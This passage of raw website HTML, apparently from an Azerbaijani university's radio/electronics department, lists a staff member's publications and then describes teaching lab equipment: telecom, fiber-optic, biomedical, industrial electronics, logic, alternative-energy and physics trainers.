units”</p></td><td width=\"474\"><p>Baku, Ganjlik, 1991 (in Russian);</p><p>&nbsp;</p></td></tr><tr><td width=\"474\"><p>“About the content of the notion “moral-psychological climate”.</p></td><td width=\"474\"><p>Magazine Azerbaijani Academy of Sciences “History, Philosophy, Law”, 1991, No 12.</p></td></tr><tr><td width=\"474\"><p>Textbook for University Students: “Reading Topics and Discussions”</p></td><td width=\"474\"><p>Baku, Khazar University Press, 2007 (in English)</p><p>&nbsp;</p></td></tr><tr><td width=\"474\"><p>Translation and edition of the book: “The Evening Stories”</p></td><td width=\"474\"><p>Baku Shams, 2007 (in English);</p></td></tr><tr><td width=\"474\"><p>Textbook for University students: “English for Special Purposes (ESP) for Petroleum Engineering”</p></td><td width=\"474\"><p>Khazar Press, (under preparation).</p><p>&nbsp;</p></td></tr><tr><td width=\"474\"><p>“Theoretical and Practical Substantiations of the Role of Assessment in Improving Teacher Quality”&nbsp;</p></td><td width=\"474\"><p>“International Association for Educational Assessment, 33<sup>rd</sup>&nbsp;Annual Conference, 16-21 September 2007. Baku, 2007, p129</p></td></tr><tr><td width=\"474\"><p>Assignments for students of Bioethics</p></td><td width=\"474\"><p>Brochure for Medical University students, Baku, Azerbaijani Medical University Press, 2007</p></td></tr><tr><td width=\"474\"><p>”On the traces of Fazlullah Naimi” (by professor Camal Mustafayev)</p><p>&nbsp;</p></td><td width=\"474\"><p>Translated from Azerbaijani into English, Khazar Xeber, May-June, 2008. # 250-252</p></td></tr><tr><td width=\"474\"><p>Editor of the textbook for students of Medical University “A Human Anatomy” (in English) (by Professor E. Alakbarov)</p></td><td width=\"474\"><p>Baku, 2009</p></td></tr><tr><td width=\"474\"><p>Translation of Bibliography: Hamlet Isaxanli (Scholar, Founder, Poet) Bibliography</p></td><td width=\"474\"><p>Khazar University Press Baku, 2010, 247 p.</p><p>&nbsp;</p></td></tr><tr><td width=\"474\"><p>Article: Globalization: some implications in the interpersonal relations of the organized community groups</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"474\"><p>World Forum on Intercultural Dialogue, Baku, Azerbaijan, 7-9 Apri, 2011.International Conference of “Cultural Diversity and Philosophy Dialogue in the Contemporary World”</p></td></tr><tr><td width=\"474\"><p>Article:&nbsp; \"Mead\'s Introspective \'Self\' as a Process of Interaction of Object and Subject Relations and its Some&nbsp; Implications in Evaluating of Moral-Psychological Climate of Organized Community Units\"</p></td><td width=\"474\"><p>INTERNATIONAL CONFERENCE IN PHILOSOPHY INSTITUTE OF PHILOSOPHY, OPOLE UNIVERSITY POLAND, JUNE 20-24, 2011;<a href=\"http://aaev.uni.opole.pl/index.php/conferences/2011/texts\">http://aaev.uni.opole.pl/index.php/conferences/2011/texts</a></p></td></tr><tr><td width=\"474\"><p>Article: “Globalization: some implications in the interpersonal relations of the organized community groups” .</p></td><td width=\"474\"><p>Magazine Le-Debat (French), Livia, Beyrut</p><p>&nbsp;</p></td></tr><tr><td width=\"474\"><p>The new trends of global developments and Turkish world</p></td><td width=\"474\"><p>15 September, 2009</p><table cellpadding=\"0\"><tbody><tr><td><p>&nbsp;</p></td><td><p><a href=\"http://hdl.handle.net/123456789/1331\">http://hdl.handle.net/123456789/1331</a></p></td></tr></tbody></table><p>&nbsp;</p></td></tr><tr><td width=\"474\"><p>Correlation of multicultural Labor Units and development of personality (Socio-philosophical analysis)<strong>&nbsp;&nbsp;&nbsp;</strong></p></td><td width=\"474\"><p><em>Xəzər Xəbər&nbsp;</em><em>№</em>&nbsp;<em>311 Oktyabr 2012</em></p></td></tr></tbody></table>  <br></div>'),(933,300,'az','Təchizat','Təchizat','<div><br></div><div><p style=\"font-size:medium\">Departamentin nəzdində olan laboratoriyasında aşağıdakı müasir iri tədris sistemi mövcuddur:</p><p style=\"font-size:medium\">(Avadanlıqlar əsasən Tayvanın K&amp;H MFG. CO., LTD. şirkətindən alınmışdır)</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p><strong style=\"font-size:large\">• RABİTƏNIN ƏSASLARI LABORATORİYASI</strong></p><p style=\"font-size:medium\">KL-900A telekommunikasiya kursunun fundamental səviyyədə mövzuları üçün təcrübələrin aparılmasını əhatə edir. Telekommunikasiya laboratoriya işlərinin operativ aspektləri ilə tanış olmaq, bu tələbələrə əsas anlayışları aydın şəkildə eksperimental olaraq görünüşlü başa düşməyə imkan verir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;<img src=\"/files/radio_depart/21.jpg\" style=\"width:800px;height:600px;margin:7px\"></p><p style=\"font-size:medium\"><strong>ANALOQ RABİTƏ</strong></p><p style=\"font-size:medium\">- RF Ossilyator eksperimenti</p><p style=\"font-size:medium\">- İkinci dərəcəli LPF və HPF eksperimenti</p><p style=\"font-size:medium\">- AM Modulyator eksperimenti</p><p style=\"font-size:medium\">- AM Demodulyator eksperimenti</p><p style=\"font-size:medium\">- DSB-SC və SSB Modulyator eksperimenti</p><p style=\"font-size:medium\">- DSB-SC və SSB Demodulyator eksperimenti</p><p style=\"font-size:medium\">- FM Modulyator eksperimenti</p><p style=\"font-size:medium\">- FM Demodulyator eksperimenti</p><p style=\"font-size:medium\">- PLL tezlik sintezi</p><p style=\"font-size:medium\">- TDM Multiplekser eksperimenti</p><p style=\"font-size:medium\">- TDM Demultiplekser eksperimenti</p><p style=\"font-size:medium\">- FDM Multiplekser eksperimenti</p><p style=\"font-size:medium\">- FDM Demultiplekser eksperimenti</p><p style=\"font-size:medium\">- Multiplier tezlik Up/Down çevirici eksperimenti</p><p style=\"font-size:medium\">- Tezlik daşıyıcının bərpası eksperimenti</p><p style=\"font-size:medium\">- Sinxron saat bərpası eksperimenti</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;<strong>RƏQƏMSAL RABİTƏ</strong></p><p style=\"font-size:medium\">- Analoqdan rəqəmsala keçid eksperimenti</p><p style=\"font-size:medium\">- Rəqəmsaldan analoqa keçid eksperimenti</p><p style=\"font-size:medium\">- PWM Modulyator eksperimenti</p><p style=\"font-size:medium\">- PWM Demodulyator eksperimenti</p><p style=\"font-size:medium\">- FSK Modulyator eksperimenti</p><p style=\"font-size:medium\">- FSK Demodulyator eksperimenti</p><p style=\"font-size:medium\">- CVSD Modulyators və Demodulyator</p><p style=\"font-size:medium\">&nbsp; Kodlaşma / dekodlaşma</p><p style=\"font-size:medium\">- ASK Modulyator / Demodulyator</p><p style=\"font-size:medium\">- PSK / QPSK Modulyator / Demodulyator</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-size:medium\">&nbsp;-Bu təlimçi eksperimental sxemlər ilə əsas modulları özündə birləşdirir. Bu rabitənin əsasları kursunu tam əhatə edir.<br>-KL-900A enerji təchizatı qurğusu və siqnal qurğusu ilə təchiz olunub. Tələbələr yalnız müstəqil müxtəlif eksperimentlərin tamlığı üçün osilloqraf və ya Spectrum Analyzer-ə malik olmalıdır.<br>-Açıq-modernləşmə sxeminə malik olmaqla bu təcrübələr geniş imkan diapazonuna şərait yaradır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-size:large\"><strong>• AM/FM ötürücü və qəbuledici sistemi</strong></p><p style=\"font-size:medium\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;AM ötürücü, hansı ki, ideal olaraq 1 MHs şüalanma üçün yararlıdır<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AM qəbuledici: 535KHs ~ 1605KHs tezlik diapazonlu<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Əla FM ötürücü, hansı ki, aralıq 10,7MHs tezliyi hasil etməyə qadirdir.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FM qəbuledici: 88 MHs ~ 108 MHs tezlik diapazonu</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;<img src=\"/files/radio_depart/22.jpg\" style=\"width:800px;height:600px;margin:7px\"></p><p><strong style=\"font-size:large\">• FIBER-OPTIK ÖTÜRÜCÜ TƏLİM SİSTEMİ</strong></p><p style=\"font-size:medium\">&nbsp;Fiber optik rabitə yüksək transfer sürətinə və böyük tutumluğuna görə müasir dövrdə ən populyar texnologiyalardan biridir.</p><p style=\"font-size:medium\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; KL-900D bütün sınaqlar üçün transmissiya mediası kimi optik lifdən istifadə edilir.</p><p style=\"font-size:medium\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dörd müxtəlif yollarla verilənlərin ötürülməsi (özünü modullamaqla ötürülmə, modul üçün modul ötürülməsi, PC-dən modul ötürülməsi, və moduldan - PC ötürülmə) və müxtəlif modulyasiya / demodulyasiya üsulları (CVSD, FSK, s.) təlim sistemində öyrənilir, istifadəçilər fiber-optik ötürülməsi işlərinin çox aydın görünüşünü əldə edə bilirlər.</p><p style=\"font-size:medium\">- Fiber-optik eksperimentlərin xarakteristikaları</p><p style=\"font-size:medium\">- Fiber-optik eksperimentlərin tətbiqi</p><p style=\"font-size:medium\">- Fiber optikdə işıq mənbələri</p><p style=\"font-size:medium\">- İşıq və fiber optik qarşılıqlı əlaqə eksperimentləri</p><p style=\"font-size:medium\">- Fiber optik ötürülmə eksperimentləri</p><p style=\"font-size:medium\">- Fiber optik sistemlər üçün qəbuledicilər eksperimentləri</p><p style=\"font-size:medium\">- Fiber optik genişləndiricilər və şəbəkə eksperimentləri</p><p style=\"font-size:medium\">- Fiber optik konnektorlar və itgi-siqnal eksperimentlər</p><p style=\"font-size:medium\">- Fiber optik verilənlər-ötürülmə-özü-transiver eksperimentləri</p><p style=\"font-size:medium\">- Fiber optik verilənlər - ötürülmə -ikili-transiver eksperimentləri</p><p style=\"font-size:medium\">- Fiber optik verilənlər - ötürülmə - PC-yə modul eksperimentləri</p><p style=\"font-size:medium\">- Fiber optik verilənlər - ötürülmə - PC-yə modul eksperimentləri</p><p style=\"font-size:medium\">- Fiber optik verilənlər - ötürülmə - CVSD modulyasiya və demodulyasiya eksperimentləri (əlavə)</p><p style=\"font-size:medium\">- Fiber optik verilənlər - ötürülmə - ASK modulyasiya və demodulyasiya eksperimentləri (əlavə)</p><p style=\"font-size:medium\">- Fiber optik verilənlər - ötürülmə - PSK/QPSK modulyasiya və demodulyasiya eksperimentləri (əlavə)</p><p style=\"font-size:medium\">&nbsp;<img src=\"/files/radio_depart/23.jpg\" style=\"width:800px;height:600px;margin:7px\"></p><p style=\"font-size:medium\"><strong>&nbsp;EKSPERİMENTAL MODULLAR</strong></p><p style=\"font-size:medium\">- Sistemdə istifadə olunan 2mm-lik əlaqələndirici lif</p><p style=\"font-size:medium\">- Quraşdırıcı bloklar və sxemlərin komponentlərinin simvolu hər modulun səthində çap olunmuşdur.</p><p style=\"font-size:medium\">- Modullar plastik qutuları (255 x 165 x 30 mm ± 10%) &nbsp;ilə təmin edilir</p><p style=\"font-size:medium\">- Hərtərəfli eksperimental dərslik</p><p style=\"font-size:medium\">- Səhvlərə yol verməmək üçün sxemlərdə körpü sancaqlardan istifadə edilir</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p><strong style=\"font-size:large\">• ELEKTRİK DÖVRƏLƏRİNİN ƏSASLARI LABORATORİYASI</strong></p><p style=\"font-size:medium\">&nbsp;KL-210 elektrik, mexaniki, avtomatik, avtomobil, elmi, məişət və elektron mühəndisliyinin tədrisində idealdır.</p><p style=\"font-size:medium\">Elektrik enerji mənbəyi, funksional generator və əsas qurğularda quraşdırılan analoq və rəqəmsal ölçmələr üzrə eksperimentlərdə elektrik dövrələri üçün bütün zəruri avadanlıqlar üçün tələb olunan eksperimentlər aparılır.</p><p style=\"font-size:medium\">Elektrik dövrələrinin bütün əsas mövzuları müxtəlif modullar vasitəsi ilə tədqiq olunur.</p><p style=\"font-size:medium\">&nbsp;<img src=\"/files/radio_depart/24.jpg\" style=\"border:0px  #000000;margin:7px;width:800px;height:601px;vertical-align:baseline\"></p><p style=\"font-size:medium\">- Elektrik, elektronika və rəqəmsal məntiq sxemlərini konstruktiv öyrənmək baxımından tələbələr üçün idealdır</p><p style=\"font-size:medium\">- Təhsilin səmərəliliyi üçün, elektrik enerji mənbəyi, funksional generator və ölçü vahidlərinin hamısı daxil edilir.</p><p style=\"font-size:medium\">- Bütün qida mənbələri qısaqapanmaya qarşı müdafiə sistemi ilə təchiz edilir.</p><p style=\"font-size:medium\">- Bir əsas qurğu ilə istifadəçi müxtəlif öyrənmə mövzuları üçün lazım modulları seçə bilər.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p><strong style=\"font-size:large\">• BIOTİBBİ ÖLÇÜ SİSTEMLƏRİ</strong></p><p style=\"font-size:medium\">Bu avadanlıq tələbələr üçün praktik şəkildə öyrənməklə xüsusi ölçü sxemlərin hazırlanması və əsas fizioloji siqnalları necə aşkar etmək üçün nəzərdə tutulmuşdur. Bundan başqa, tələbələr aydın şəkildə sensorlar və çeviricilərin elektrik xüsusiyyətlərini başa düşür.</p><p style=\"font-size:medium\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; KL-720 doqquz moduldan ibarətdir: elektrokardioqram ölçmə, elektromioqram ölçmə, electrookuloqram ölçmə, elektroensofaloqram ölçülməsi, qan təzyiqi ölçmə, fotopletismoqram ölçmə, tənəffüs alma qeyedicisi, nəbz ölçən və bədən impedans qeydedicisi modulları ilə təchiz olunub.</p><p style=\"font-size:medium\"><img src=\"/files/radio_depart/25.jpg\" style=\"width:800px;height:600px;margin:7px\"><br></p><p style=\"font-size:medium\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sensorlar və çeviricilər bu avadanlıqlarda istifadə olunaraq təzyiq çeviricilər, infraqırmızı fotoçevirici, gərginlik cihazları, temperatur sensorları və səthi elektrodlar timsalında işlədilir.</p><p style=\"font-size:medium\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hər bir modul tezlik, buraxma zolağının eni və güclənmə əmsalı kimi müəyyən test nöqtələrinə malikdir. Belə ki, tələbələr fizioloji siqnal və hər dövrə mərhələsi arasında korrelyasiyanı başa düşməlidirlər.</p><p style=\"font-size:medium\">- KL-75001 Elektrokardioqram (ECG) ölçməsi</p><p style=\"font-size:medium\">- KL-75002 Elektromioqram (EMG) ölçməsi</p><p style=\"font-size:medium\">- KL-75003 Elektrookuloqram (EOG) ölçməsi</p><p style=\"font-size:medium\">- KL-75004 Elektroensofaloqram (EEG) ölçməsi</p><p style=\"font-size:medium\">- KL-75005 Qan təzyiqi ölçməsi</p><p style=\"font-size:medium\">- KL-75006 Fotopletismoqram ölçməsi</p><p style=\"font-size:medium\">- KL-75007 Tənəffüs qeydedicisi</p><p style=\"font-size:medium\">- KL-75008 Nəbz ölçməsi</p><p style=\"font-size:medium\">- KL-75009 Bədən inpendansının qeydedilməsi</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;<strong>EKSPERIMENTAL MODULLARIN XÜSUSIYYƏTLƏRI</strong></p><p style=\"font-size:medium\">- Bütün klemmalar modulda 2mm-lik sıxaclar qəbul edir.</p><p style=\"font-size:medium\">- Dövrə simvolları, bloklar və komponentlər hər bir modulun üzərində çap olunmuşdur.</p><p style=\"font-size:medium\">- Modullar plastik korpusda bərkidilmişdir.</p><p style=\"font-size:medium\">- Ölçü: 255x165x30mm ± 10%</p><p style=\"font-size:medium\">- Modullar münasib şəkildə saxlanma üçün şkafa malikdir</p><p style=\"font-size:medium\">- Kompleks şəkildə eksperiment aparılma metodikası təqdim olunur.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p><strong style=\"font-size:large\">• SƏNAYE ELEKTRONİK TƏLİM KOMPLEKTİ</strong></p><p style=\"font-size:medium\">&nbsp;Bu hazırki dövrdə elektron avadanlıqların quraşdırılması və saxlanmasını bilmək imkanı yaradaraq texniki ixtisasçıların hazırlanmasında mühüm olmuşdur.</p><p style=\"font-size:medium\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Yaxşı texniklər ən müasir texnologiyaların və çevik innovativ məhsulların hazirki durumuna uyğulaşmalıdır.</p><p style=\"font-size:medium\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Bizim sistem bu cür texniki təhsil üçün nəzərdə tutulub. Əslində, KL-500 güc elektronika və sənaye elektronikasının öyrənilməsi üçün nəzəri və praktiki kurslara adaptasiya olunmuşdur.</p><p style=\"font-size:medium\"><img src=\"/files/radio_depart/26.jpg\" style=\"width:800px;height:600px;margin:7px\"><br></p><p style=\"font-size:medium\">- Qida mənbələri qurğularının eksperimentləri</p><p style=\"font-size:medium\">- UJT eksperimentləri</p><p style=\"font-size:medium\">- PUT eksperimentləri</p><p style=\"font-size:medium\">- PUT və SCR eksperimentləri</p><p style=\"font-size:medium\">- SCS eksperimentləri</p><p style=\"font-size:medium\">- UJT və PUT Triqqer SCR eksperimentləri</p><p style=\"font-size:medium\">- SCR Nəzarət DC Motor və DIAC, TRIAC</p><p style=\"font-size:medium\">- Avtomatik Nəzarət Lampa, TRIAC Nəzarət Sürət eksperimentləri</p><p style=\"font-size:medium\">- Radio Temperatur, Foto-Cüt və Touch nəzarət eksperimentləri</p><p style=\"font-size:medium\">- Yüksək/Alçaq gərginlik ayırıcıları və Flash nəzarət eksperimentləri</p><p style=\"font-size:medium\">- TRIAC maye səviyyəsi və IC zaman qoşquları eksperimentləri</p><p style=\"font-size:medium\">- Rəqəmsal siqnal Driverləri və sıfır-gərginlik qoşqusu eksperimentləri</p><p style=\"font-size:medium\">- Sıfır-gərginlik qoşqusu eksperimentləri</p><p style=\"font-size:medium\">- SCR çevirici eksperimentləri</p><p style=\"font-size:medium\">- SCR düzləndirici dövrələr eksperimentləri</p><p style=\"font-size:medium\">- JFET/MOSFET xarakteristikalar və MOSFET sürətə nəzarət eksperimentləri</p><p style=\"font-size:medium\">- IGBT xarakteristikalar və IGBT sürətə nəzarət eksperimentləri</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Nəzəri biliklər və praktik eksperimentləri özündə cəmləşdirən tədqiqatlar</p><p style=\"font-size:medium\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sənaye tipli komponent, qurğu və sxemlərdən istifadə olunması</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p><strong style=\"font-size:large\">• MƏNTİQ LABORATORİYASI</strong></p><p style=\"font-size:medium\">Bu IDL-400 məntiq təlimçisi əsas məntiq nəzəriyyəsini daha yaxşı anlamaq üçün məntiqi yeni öyrənməyə başlayanlar üçün nəzərdə tutulmuşdur. IDL-400 konstruktiv olaraq asanlıqla işləyir və anlamaq asandır. Bu avadanlıq müxtəlif növ əsas məntiq açarları, LED indikatorları, qısa qapanmadan qorunma ilə DC elektrik enerji mənbəyi, nəbz generatoru və maket lövhə üzərində lehimlə təchiz olunub.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;<img src=\"/files/radio_depart/27.jpg\" style=\"width:800px;height:600px;margin:7px\"></p><p><strong style=\"font-size:large\">• ANALOQ LABORATORİYASI</strong></p><p style=\"font-size:medium\">Bu IDL-600 məntiq təlimçisi analoq nəzəriyyəsini daha yaxşı anlamaq üçün yeni öyrənməyə başlayanlar üçün nəzərdə tutulmuşdur. IDL-600 konstruktiv olaraq asanlıqla işləyir və anlamaq asandır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;<img src=\"/files/radio_depart/28.jpg\" style=\"width:800px;height:600px;margin:7px\"></p><p><strong style=\"font-size:large\">• RƏQƏMSAL LABORATORİYA</strong></p><p style=\"font-size:medium\">Bu IDL-800 rəqəmsal laboratoriyası məntiq və analoq nəzəriyyələrini anlamanı gücləndirmək üçün yeni başlayanlar üçün nəzərdə tutulmuşdur. IDL-800 konstruktiv olaraq asanlıqla işləyir və anlamaq asandır.</p>  <img src=\"/files/radio_depart/31.jpg\" style=\"width:800px;height:1067px;margin:7px\"><br></div><div><p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\"></p><p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><br></p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><strong>• ALTERNATİV ENERJİ\r\nLABORATORİYASI</strong></p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify;text-indent:-18.0pt\"=\"\">1)&nbsp;&nbsp;&nbsp;\r\nGES-100&nbsp;&nbsp; </p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\">GÜNƏŞ ELEMENTİ TRENAJORU (DAXİLDİR\r\nGES-18001, GES-13001, GES-13003 DAQ WINDOWS 7/VISTA/XP/2000 ÜÇÜN VƏ GES-19001 AKSESUARLARA\r\nDAXİLDİR GES-18002 VƏ TES-1333 GÜNƏŞ ŞÜALANMA ENERJİSİ &nbsp;GÜCÜ ÖLÇƏN)</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\">DPS-1303AP – İKİLİ DC QİDA\r\nMƏNBƏYİ (0+-30V, 3A)</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center\"=\"\"><img width=\"340\" height=\"255\" src=\"/files/radio_depart/1.png\" v:shapes=\"_x0000_i1035\" style=\"margin: 7px; width: 500px; height: 375px;\">&nbsp; &nbsp; &nbsp;</p><p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center\"=\"\"><br></p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify;text-indent:-18.0pt\"=\"\">2)&nbsp;&nbsp;&nbsp;\r\nGES-200 </p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\">KÜLƏK ENERJİSİ TRENAJORU (DAXİLDİR\r\nGES-28001 - GES-28004, GES-23001, GES-23003 DAQ WINDOWS 7/VISTA/XP/2000 ÜÇÜN,\r\nGES-29001 AKSESUARLAR GES-28005, VƏ GES-29002 QORUYUCU ÖRTÜK)</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><img width=\"340\" height=\"255\" src=\"/files/radio_depart/2.jpg\" v:shapes=\"_x0000_i1038\" style=\"width: 500px; height: 375px; margin: 7px;\"></p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify;text-indent:-18.0pt\"=\"\">3)&nbsp;&nbsp;&nbsp;\r\nGES-300 </p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\">H2/O2 İSTİLİK ELEMENTİ\r\nTRENAJORU (DAXİLDİR GES-31001, GES-33001, AKSESUARLAR GES-39001 VƏ DAQ\r\nGES-13003)</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center\"=\"\"><img width=\"340\" height=\"256\" src=\"/files/radio_depart/3.jpg\" v:shapes=\"_x0000_i1040\" style=\"margin: 7px; width: 500px; height: 375px;\">&nbsp;&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify;text-indent:-18.0pt\"=\"\">4)&nbsp;&nbsp;&nbsp;\r\nKL-310</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\">GENİŞLƏNMİŞ RƏQƏMSAL MƏNTİQ LABORATORİYASI (DAXİLDİR: ƏSAS QURĞULAR\r\nKL-32001, KL-34001 - &nbsp;KL-340011 MODULLAR\r\nVƏ AKSESUARLAR KL-39001 (KL-34011 ÜÇÜN USB BLASTER)</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><img width=\"255\" height=\"340\" src=\"/files/radio_depart/4.jpg\" v:shapes=\"_x0000_i1042\" style=\"margin: 7px; width: 500px; height: 666px;\">&nbsp; </p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify;text-indent:-18.0pt\"=\"\">5)&nbsp;&nbsp;&nbsp;\r\nKL-600</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\">MIKROKOMPYUTER HƏSSASLIQLI\r\nİDARƏETMƏ SİSTEMİ (DAXİLDİR: KL-61001A, KL-63001 - &nbsp;KL-63017, KL-68001 TO KL-68009 &amp; KL-68011,\r\nLP-520D MƏNTİQ ZONDU VƏ DPS-1303AP İKİLİ SABİT CƏRƏYAN MƏNBƏYİ)</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><img src=\"/files/radio_depart/5.jpg\" style=\"width:500px;height:666px;margin:7px\"><br></p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify;text-indent:-18.0pt\"=\"\">6)&nbsp;&nbsp;&nbsp;\r\nCIC-500</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\">DSP İNKİŞAF VƏ EKSPERİMENTAL\r\nSİSTEMLƏR –TAM VERSİYA PAKETİ (O CÜMLƏDƏN CIC-520, CI-51001, ƏLAVƏ MODULLAR\r\nCI-53001 - CI-53004, CI-53006, SOFTWARE, AKSESUARLAR VƏ USB XDS510)</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><img width=\"340\" height=\"255\" src=\"/files/radio_depart/6.jpg\" v:shapes=\"_x0000_i1044\" style=\"width: 500px; height: 375px; margin: 7px;\">&nbsp; </p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify;text-indent:-18.0pt\"=\"\">7)&nbsp;&nbsp;&nbsp;\r\nPLC-200</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\">PROQRAMLAŞDIRILAN MƏNTİQ\r\nKONTROLLERİ (SIEMENS PLC) TRENAJORU (SOFTWARE VƏ KABEL VƏ RUS/İNGİLİS DİLİNDƏ\r\nMETODİK VƏSAİT)</p><p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\">&nbsp;&nbsp;<img width=\"340\" height=\"255\" src=\"/files/radio_depart/7.jpg\" v:shapes=\"_x0000_i1046\" style=\"margin: 7px; width: 500px; height: 375px;\"></p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><strong>• ÜMUMİ FİZİKA\r\nLABORATORİYASI</strong></p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify;text-indent:-18.0pt\"=\"\">1)&nbsp;Elektromaqnit induksiyası və Faradey qanunu </p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify;text-indent:-18.0pt\"=\"\">2)&nbsp;Solenoidin maqnit sahəsi</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify;text-indent:-18.0pt\"=\"\">3)&nbsp;Dəyişən cərəyan mənbəli dəyişən cərəyan dövrəsi</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify;text-indent:-18.0pt\"=\"\">4)&nbsp;Holl effekti</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify;text-indent:-18.0pt\"=\"\">5)&nbsp;Səs gücləndirici</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify;text-indent:-18.0pt\"=\"\">6)&nbsp;Fotoelectrik effekti</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\">&nbsp;<img src=\"/files/radio_depart/41.jpg\" style=\"width:500px;height:375px;margin:7px\">&nbsp;<img src=\"/files/radio_depart/42.jpg\" style=\"width:500px;height:375px;margin:7px\"></p><p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><strong>• GÜNƏŞ ENERJİSİ İLƏ\r\nİŞLƏYƏN 